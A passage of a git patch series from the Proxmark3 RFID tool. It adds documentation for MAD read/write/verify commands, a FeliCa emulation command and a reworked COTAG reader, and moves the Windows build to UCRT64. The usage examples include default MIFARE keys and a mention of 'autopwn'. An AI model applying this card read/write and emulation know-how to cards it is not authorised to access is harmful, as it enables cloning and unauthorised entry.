MAD AID", + "notes": [ + "mad read --aid e103 -> read NDEF data (auto-detect card)", + "mad read --aid e103 -k ffffffffffff -b -> Classic, key B", + "mad read --aid e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> Plus", + "mad read --aid e103 -v -f mydata.bin -> verbose, save to file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-f, --file save raw data to file" + ], + "usage": "hf mf madread [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-f ]" + }, + "hf mf madverify": { + "command": "hf mf madverify", + "description": "Read back and verify application data against expected content", + "notes": [ + "mad verify --aid e103 -d 0102030405060708 -> verify data", + "mad verify --aid e103 -f mydata.bin -> verify against file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data expected data", + "-f, --file load expected data from file" + ], + "usage": "hf mf madverify [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, + "hf mf madwrite": { + "command": "hf mf madwrite", + "description": "Write application data to sectors matching a MAD AID", + "notes": [ + "mad write --aid e103 -d 0102030405060708 -> write data", + "mad write --aid e103 -f mydata.bin -> write from file", + "mad write --aid e103 -k ffffffffffff -d 0102030405 -> Classic, custom key" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data data to write", + "-f, --file load data from file" + ], + "usage": "hf mf madwrite [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, "hf mf nack": { "command": "hf mf nack", "description": "Test a MIFARE Classic based card for the NACK bug", @@ -8404,6 +8491,74 @@ ], "usage": "hf mfp mad [-hvb] [--aid ] [-k ] [--be] [--dch] [--override]" }, + "hf mfp madread": { + "command": "hf mfp madread", + "description": "Read application data from sectors matching a MAD AID", + "notes": [ + "mad read --aid e103 -> read NDEF data (auto-detect card)", + "mad read --aid e103 -k ffffffffffff -b -> Classic, key B", + "mad read --aid e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> Plus", + "mad read --aid e103 -v -f mydata.bin -> verbose, save to file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-f, --file save raw data to file" + ], + "usage": "hf mfp madread [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-f ]" + }, + "hf mfp madverify": { + "command": "hf mfp madverify", + "description": "Read back and verify application data against expected content", + "notes": [ + "mad verify --aid e103 -d 0102030405060708 -> verify data", + "mad verify --aid e103 -f mydata.bin -> verify against file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data expected data", + "-f, --file load expected data from file" + ], + "usage": "hf mfp madverify [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, + "hf mfp madwrite": { + "command": "hf mfp madwrite", + "description": "Write application data to sectors matching a MAD AID", + "notes": [ + "mad write --aid e103 -d 0102030405060708 -> write data", + "mad write --aid e103 -f mydata.bin -> write from file", + "mad write --aid e103 -k ffffffffffff -d 0102030405 -> Classic, custom key" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data data to write", + "-f, --file load data from file" + ], + "usage": "hf mfp madwrite [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, "hf mfp ndefformat": { "command": "hf mfp ndefformat", "description": "format MIFARE Plus Tag as a NFC tag with Data Exchange Format (NDEF) If no given, UID will be used as filename. It will try default keys and MAD keys to detect if tag is already formatted in order to write. If not, it will try finding a key file based on your UID. ie, if you ran autopwn before", @@ -10630,31 +10785,35 @@ }, "lf cotag help": { "command": "lf cotag help", - "description": "help This help demod demodulate an COTAG tag --------------------------------------------------------------------------------------- lf cotag demod available offline: yes Try to find COTAG preamble, if found decode / descramble data", + "description": "help This help demod demodulate a COTAG tag --------------------------------------------------------------------------------------- lf cotag demod available offline: yes Demodulate COTAG samples from g_GraphBuffer. Try to find COTAG preamble, if found decode / descramble data.", "notes": [ "lf cotag demod" ], "offline": true, "options": [ "-h, --help This help", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "-c, --clk set clock manually (def 768)", + "-t, --threshold set high value threshold manually (def: auto-detected)" ], - "usage": "lf cotag demod [-hv]" + "usage": "lf cotag demod [-hv] [-c ] [-t ]" }, "lf cotag reader": { "command": "lf cotag reader", - "description": "read a COTAG tag, the current support for COTAG is limited.", + "description": "Read a COTAG tag. - use `lf config` to set parameters except divisor (which is assumed 90 for cotag. Use --divisor to override). - use `data plot` to look at it. - use `lf cotag demod` to try to demodulate it. If the number of samples is more than the device memory limit (40000 now), it will try to use the real-time sampling mode. Note: Cotag has an extremely slow data rate - RF/768 -- capturing a full 128 bit card read requires a minimum of 128 x 768 samples, or a multiple thereof.", "notes": [ - "lf cotag reader -2" + "lf cotag reader -v -s 700000 -> collect 700000 samples", + "lf cotag reader -v --divisor 89 -s 700000 -> use divisor 89, collect 700000 samples" ], "offline": false, "options": [ "-h, --help This help", - "-1 HIGH/LOW signal; maxlength bigbuff", - "-2 translation of HIGH/LOW into bytes with manchester 0,1", - "-3 raw signal; maxlength bigbuff" + "-s, --samples number of samples to collect (def 500000)", + "-v, --verbose verbose output", + "-@ continuous reading mode", + "--divisor <19-255> Manually set freq divisor" ], - "usage": "lf cotag reader [-h123]" + "usage": "lf cotag reader [-hv@] [-s ] [--divisor <19-255>]" }, "lf destron clone": { "command": "lf destron clone", @@ -13977,6 +14136,123 @@ ], "usage": "lf visa2000 sim [-h] --cn " }, + "mad encode": { + "command": "mad encode", + "description": "Encode a MAD byte array from AID-to-sector mappings", + "notes": [ + "mad encode --aid E103:1-3 --aid 484D:4 -> MAD1 with NDEF + HID", + "mad encode --aid E103:1-3,5 -> non-contiguous sectors", + "mad encode --aid E103:1-3,17-18 --aid 484D:4 -> MAD1 + MAD2", + "mad encode --aid E103:1-3 -q -> quiet, hex only" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--aid AID and sector ranges (e.g. E103:1-3,5)", + "-q, --quiet quiet output, hex bytes only", + "--be big-endian AID byte swap" + ], + "usage": "mad encode [-hq] --aid [--aid ]... [--be]" + }, + "mad help": { + "command": "mad help", + "description": "-------- --------------- MAD ----------------- -------- ------------- General --------------- help This help decode Decode MAD byte array encode Encode MAD byte array from AID mappings test Run MAD regression tests --------------------------------------------------------------------------------------- mad decode available offline: yes Decode a MAD byte array and print the directory", + "notes": [ + "mad decode -d -> decode MAD1", + "mad decode -d --mad2 -> decode MAD1 + MAD2" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "-d, --data MAD1 sector 0 data (64 bytes)", + "--mad2 MAD2 sector 16 data (64 bytes)", + "--be big-endian AID byte swap" + ], + "usage": "mad decode [-hv] -d [--mad2 ] [--be]" + }, + "mad read": { + "command": "mad read", + "description": "Read application data from sectors matching a MAD AID", + "notes": [ + "mad read --aid e103 -> read NDEF data (auto-detect card)", + "mad read --aid e103 -k ffffffffffff -b -> Classic, key B", + "mad read --aid e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> Plus", + "mad read --aid e103 -v -f mydata.bin -> verbose, save to file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-f, --file save raw data to file" + ], + "usage": "mad read [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-f ]" + }, + "mad test": { + "command": "mad test", + "description": "Run MAD regression tests (offline, no card needed)", + "notes": [ + "mad test", + "mad test -v -> verbose output" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output" + ], + "usage": "mad test [-hv]" + }, + "mad verify": { + "command": "mad verify", + "description": "Read back and verify application data against expected content", + "notes": [ + "mad verify --aid e103 -d 0102030405060708 -> verify data", + "mad verify --aid e103 -f mydata.bin -> verify against file" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data expected data", + "-f, --file load expected data from file" + ], + "usage": "mad verify [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, + "mad write": { + "command": "mad write", + "description": "Write application data to sectors matching a MAD AID", + "notes": [ + "mad write --aid e103 -d 0102030405060708 -> write data", + "mad write --aid e103 -f mydata.bin -> write from file", + "mad write --aid e103 -k ffffffffffff -d 0102030405 -> Classic, custom key" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--aid application ID (2 hex bytes)", + "-k, --key key for data sectors", + "-b, --keyb use key B (def: key A)", + "--mad-key key for MAD sectors", + "--be big-endian AID byte swap", + "--override override failed CRC check", + "-d, --data data to write", + "-f, --file load data from file" + ], + "usage": "mad write [-hvb] --aid [-k ] [--mad-key ] [--be] [--override] [-d ] [-f ]" + }, "mem dump": { "command": "mem dump", "description": "Dumps flash memory on device into a file or view in console", @@ -15383,8 +15659,8 @@ } }, "metadata": { - "commands_extracted": 865, + "commands_extracted": 878, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-06-09T23:01:19+00:00" + "extracted_on": "2026-06-22T22:01:12+00:00" } } diff --git a/doc/commands.md b/doc/commands.md index ce6f58689..e7d04fcf2 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -365,6 +365,7 @@ Check column "offline" for their availability. |`hf felica wrbl `|N |`write block data to an authentication-not-required Service.` |`hf felica dump `|N |`Wait for and try dumping FeliCa` |`hf felica discnodes `|N |`discover Area Code and Service Code nodes.` +|`hf felica sim `|N |`Emulate FeliCa Standard from dump file` |`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` |`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` |`hf felica scsvcode `|N |`acquire Area Code and Service Code.` @@ -641,6 +642,9 @@ Check column "offline" for their availability. |`hf mf info `|N |`Tag information` |`hf mf isen `|N |`Information Static Encrypted Nonces` |`hf mf mad `|Y |`Checks and prints MAD` +|`hf mf madread `|N |`Read data from MAD AID sectors` +|`hf mf madwrite `|N |`Write data to MAD AID sectors` +|`hf mf madverify `|N |`Verify data in MAD AID sectors` |`hf mf personalize `|N |`Personalize UID (MIFARE Classic EV1 only)` |`hf mf rdbl `|N |`Read MIFARE Classic block` |`hf mf rdsc `|N |`Read MIFARE Classic sector` @@ -702,6 +706,9 @@ Check column "offline" for their availability. |`hf mfp dump `|N |`Dump MIFARE Plus tag to file` |`hf mfp info `|N |`Tag information` |`hf mfp mad `|N |`Check and print MAD` +|`hf mfp madread `|N |`Read data from MAD AID sectors` +|`hf mfp madwrite `|N |`Write data to MAD AID sectors` +|`hf mfp madverify `|N |`Verify data in MAD AID sectors` |`hf mfp rdbl `|N |`Read blocks from card` |`hf mfp rdsc `|N |`Read sectors from card` |`hf mfp wrbl `|N |`Write block to card` @@ -1044,7 +1051,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`lf cotag help `|Y |`This help` -|`lf cotag demod `|Y |`demodulate an COTAG tag` +|`lf cotag demod `|Y |`demodulate a COTAG tag` |`lf cotag reader `|N |`attempt to read and extract tag data` @@ -1529,6 +1536,21 @@ Check column "offline" for their availability. |`lf visa2000 sim `|N |`simulate Visa2000 tag` +### mad + + { MAD commands... } + +|command |offline |description +|------- |------- |----------- +|`mad read `|N |`Read data from MAD AID sectors` +|`mad write `|N |`Write data to MAD AID sectors` +|`mad verify `|N |`Verify data in MAD AID sectors` +|`mad help `|Y |`This help` +|`mad decode `|Y |`Decode MAD byte array` +|`mad encode `|Y |`Encode MAD byte array from AID mappings` +|`mad test `|Y |`Run MAD regression tests` + + ### mem { Flash memory manipulation... } From 6550610ad02d8075df703cb05b6cb4d258ae8ad8 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 23 Jun 2026 09:43:46 +0200 Subject: [PATCH 5/5] Migrate from MINGW64 to UCRT64 as arm-none-eabi-gcc is not available anymore in MINGW64 cf https://github.com/msys2/MINGW-packages/commit/bb4125054bf0a400c77a64adb07b64658554083b --- .github/workflows/windows.yml | 58 ++++++++++++++++++++++---- .vscode/tasks.json | 4 +- .vscode/templates/launch_ps.json | 8 ++-- client/CMakeLists.txt | 4 +- client/experimental_lib/CMakeLists.txt | 4 +- 5 files changed, 61 insertions(+), 17 deletions(-) diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index c51f1c4e0..71077927a 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -23,9 +23,9 @@ jobs: run: shell: pwsh env: - PATH: C:/ProxSpace/msys2/mingw64/bin;C:/ProxSpace/msys2/usr/local/bin;C:/ProxSpace/msys2/usr/bin;C:/ProxSpace/msys2/bin - MSYSTEM: MINGW64 - PYTHONHOME: /mingw64 + PATH: C:/ProxSpace/msys2/ucrt64/bin;C:/ProxSpace/msys2/usr/local/bin;C:/ProxSpace/msys2/usr/bin;C:/ProxSpace/msys2/bin + MSYSTEM: UCRT64 + PYTHONHOME: /ucrt64 steps: - name: ProxSpace download @@ -40,6 +40,53 @@ jobs: - name: ProxSpace rename folder run: Get-ChildItem -Path "C:\ProxSpace-*" | Rename-Item -NewName (Split-Path C:\ProxSpace -Leaf) + - name: ProxSpace overwrite packages.txt for UCRT64 + run: | + @' + ############################## + # General # + ############################## + git + make + pkg-config + mingw-w64-ucrt-x86_64-cmake + procps + base-devel + ############################## + # Proxmark3 # + ############################## + mingw-w64-ucrt-x86_64-gcc + mingw-w64-ucrt-x86_64-arm-none-eabi-gcc + mingw-w64-ucrt-x86_64-arm-none-eabi-gdb + mingw-w64-ucrt-x86_64-arm-none-eabi-binutils + mingw-w64-ucrt-x86_64-arm-none-eabi-newlib + mingw-w64-ucrt-x86_64-readline + mingw-w64-ucrt-x86_64-libsndfile + mingw-w64-ucrt-x86_64-lua + mingw-w64-ucrt-x86_64-bzip2 + mingw-w64-ucrt-x86_64-python + mingw-w64-ucrt-x86_64-python-pip + mingw-w64-ucrt-x86_64-python-setuptools + mingw-w64-ucrt-x86_64-python-cryptography + mingw-w64-ucrt-x86_64-jansson + mingw-w64-ucrt-x86_64-qt6-base + mingw-w64-ucrt-x86_64-gdb + mingw-w64-ucrt-x86_64-openocd + mingw-w64-ucrt-x86_64-opencl-icd + mingw-w64-ucrt-x86_64-lz4 + mingw-w64-ucrt-x86_64-libgd + mingw-w64-ucrt-x86_64-openssl + ############################## + # ChameleonMini # + ############################## + #mingw-w64-ucrt-x86_64-dfu-programmer + #mingw-w64-ucrt-x86_64-avrdude + #mingw-w64-ucrt-x86_64-avr-binutils + #mingw-w64-ucrt-x86_64-avr-gcc + #mingw-w64-ucrt-x86_64-avr-gdb + #mingw-w64-ucrt-x86_64-avr-libc + '@ | Set-Content -Path "C:\ProxSpace\setup\packages.txt" -Encoding UTF8 + - name: ProxSpace version run: | $psversion = (Select-String -Pattern 'PSVERSION=' -SimpleMatch -Path "C:\ProxSpace\setup\09-proxspace_setup.post").Line.Split("""")[1] @@ -53,10 +100,7 @@ jobs: for ($i = 1; $i -le $maxAttempts; $i++) { Write-Host "Attempt $i..." ./runme64.bat -c "exit" - if ($LASTEXITCODE -eq 0) { - ./runme64.bat -c "pacman -Syu --noconfirm mingw-w64-x86_64-qt6-base" - exit 0 - } + if ($LASTEXITCODE -eq 0) { exit 0 } if ($i -lt $maxAttempts) { Start-Sleep -Seconds $delay } } exit 1 diff --git a/.vscode/tasks.json b/.vscode/tasks.json index 0bbc07ac9..d3775d1a6 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -6,8 +6,8 @@ "options": { "cwd": "${workspaceFolder}", "env": { - "PATH": "${workspaceFolder}/../../msys2/mingw64/bin;${workspaceFolder}/../../msys2/usr/local/bin;${workspaceFolder}/../../msys2/usr/bin;${workspaceFolder}/../../msys2/bin", - "MSYSTEM": "MINGW64" + "PATH": "${workspaceFolder}/../../msys2/ucrt64/bin;${workspaceFolder}/../../msys2/usr/local/bin;${workspaceFolder}/../../msys2/usr/bin;${workspaceFolder}/../../msys2/bin", + "MSYSTEM": "UCRT64" } } }, diff --git a/.vscode/templates/launch_ps.json b/.vscode/templates/launch_ps.json index 045b3d6c5..cc7d9d734 100644 --- a/.vscode/templates/launch_ps.json +++ b/.vscode/templates/launch_ps.json @@ -6,8 +6,8 @@ "options": { "cwd": "${workspaceFolder}", "env": { - "PATH": "${workspaceFolder}/../../msys2/mingw64/bin;${workspaceFolder}/../../msys2/usr/local/bin;${workspaceFolder}/../../msys2/usr/bin;${workspaceFolder}/../../msys2/bin", - "MSYSTEM": "MINGW64" + "PATH": "${workspaceFolder}/../../msys2/ucrt64/bin;${workspaceFolder}/../../msys2/usr/local/bin;${workspaceFolder}/../../msys2/usr/bin;${workspaceFolder}/../../msys2/bin", + "MSYSTEM": "UCRT64" } }, "configurations": [ @@ -29,7 +29,7 @@ } ], "preLaunchTask": "client: Debug: clean & make", - "miDebuggerPath": "${workspaceFolder}/../../msys2/mingw64/bin/gdb.exe" + "miDebuggerPath": "${workspaceFolder}/../../msys2/ucrt64/bin/gdb.exe" },{ "name": "Firmware: (J-Link) Build & Launch", "type": "cortex-debug", @@ -43,7 +43,7 @@ "interface": "jtag", "serialNumber": "", //If you have more than one J-Link probe, add the serial number here. "runToMain": false, - "armToolchainPath": "${workspaceFolder}/../../msys2/mingw64/bin" + "armToolchainPath": "${workspaceFolder}/../../msys2/ucrt64/bin" } ] } \ No newline at end of file diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 0d5bb38ce..6c2f1076c 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -23,8 +23,8 @@ # On ProxSpace 3.4: # cmake -G"MSYS Makefiles" .. # On Proxspace 3.3 or less, you need to install cmake: -# pacman -S mingw-w64-x86_64-cmake -# /mingw64/bin/cmake -G"MSYS Makefiles" .. +# pacman -S mingw-w64-ucrt-x86_64-cmake +# /ucrt64/bin/cmake -G"MSYS Makefiles" .. # # Android cross-compilation: (ANDROID_ABI=arm64-v8a for a 64b version) # cmake \ diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index a5966ac57..89572aa7b 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -23,8 +23,8 @@ # On ProxSpace 3.4: # cmake -G"MSYS Makefiles" .. # On Proxspace 3.3 or less, you need to install cmake: -# pacman -S mingw-w64-x86_64-cmake -# /mingw64/bin/cmake -G"MSYS Makefiles" .. +# pacman -S mingw-w64-ucrt-x86_64-cmake +# /ucrt64/bin/cmake -G"MSYS Makefiles" .. # # Android cross-compilation: (ANDROID_ABI=arm64-v8a for a 64b version) # cmake \